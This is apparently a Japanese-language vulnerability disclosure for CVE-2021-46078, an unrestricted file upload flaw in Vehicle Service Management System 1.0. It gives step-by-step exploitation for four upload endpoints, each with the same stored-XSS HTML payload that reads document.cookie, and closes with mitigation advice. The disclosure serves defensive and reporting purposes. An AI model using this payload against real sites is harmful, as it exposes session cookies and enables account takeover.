CVE-2021-46078
Exploit Title: Vehicle Service Management System - 'Multiple' ファイルアップロードにより格納型クロスサイトスクリプティングが発生
CVE: CVE-2021-46078
CVSS: 4.8 MEDIUM
References:
Description:
Sourcecodester Vehicle Service Management System 1.0 には、制限のないファイルアップロードの脆弱性が存在します。リモートの攻撃者が悪意のあるファイルをアップロードすると、格納型クロスサイトスクリプティング(Stored XSS)の脆弱性につながる可能性があります。
1. Vehicle Service Management System - 'MyAccount' (/admin/?page=user)
Exploit:
- 管理パネルにログインします: http://localhost/vehicle_service/admin
- 「My Account」セクションに移動します: http://localhost/vehicle_service/admin/?page=user
Payload:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- 上記のHTMLコードを保存します(例: XSS.html)
- 「My Account」セクションで必要な詳細をすべて入力し、アバターにHTMLファイルを選択します。
- 更新ボタンをクリックします。
- アバター画像を新しいタブで開きます。
- 悪意のあるJavaScriptコードが実行されます。
2. Vehicle Service Management System - 'User List' (/admin/?page=user/manage_user)
Exploit:
- 管理パネルにログインします: http://localhost/vehicle_service/admin
- 「User List」セクションに移動し、「Create New」ボタンをクリックします。
Payload:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- 上記のHTMLコードを保存します(例: XSS.html)
- 「Create New User」ページで必要な詳細をすべて入力し、アバターにHTMLファイルを選択します。
- 「Save」ボタンをクリックします。
- アバター画像を新しいタブで開きます。
- 悪意のあるJavaScriptコードが実行されます。
3. Vehicle Service Management System - 'Settings-System Logo' (/admin/?page=system_info)
Exploit:
- 管理パネルにログインします: http://localhost/vehicle_service/admin
- 「Settings」セクションに移動します: http://localhost/vehicle_service/admin/?page=system_info
Payload:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- 上記のHTMLコードを保存します(例: XSS.html)
- 「Settings」セクションで必要な詳細をすべて入力し、「System Logo」にHTMLファイルを選択します。
- 更新ボタンをクリックします。
- 「System Logo」画像を新しいタブで開きます。
- 悪意のあるJavaScriptコードが実行されます。
4. Vehicle Service Management System - 'Settings-Website Cover' (/admin/?page=system_info)
Exploit:
- 管理パネルにログインします: http://localhost/vehicle_service/admin
- 「Settings」セクションに移動します: http://localhost/vehicle_service/admin/?page=system_info
Payload:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- 上記のHTMLコードを保存します(例: XSS.html)
- 「Settings」セクションで必要な詳細をすべて入力し、「Website Cover」にHTMLファイルを選択します。
- 更新ボタンをクリックします。
- 「Website Cover」画像を新しいタブで開きます。
- 悪意のあるJavaScriptコードが実行されます。
Impact:
攻撃者は複数のエンドポイントで悪意のあるファイルをアップロードでき、これにより格納型クロスサイトスクリプティング(Stored XSS)が発生する可能性があります。
Mitigation:
以下の対策を実施することを推奨します:
- ホワイトリストフィルタなしに、ファイル名とその拡張子を直接受け入れないこと。
- Unicode文字が不要な場合は、ファイル名と拡張子の入力として英数字とドット1つのみを受け付けることを強く推奨します。
- サービス拒否攻撃を防ぐために、ファイルサイズを最大値に制限すること。
- アップロード先ディレクトリには「実行」権限を付与しないこと。
- クライアント側の検証のみに依存しないこと。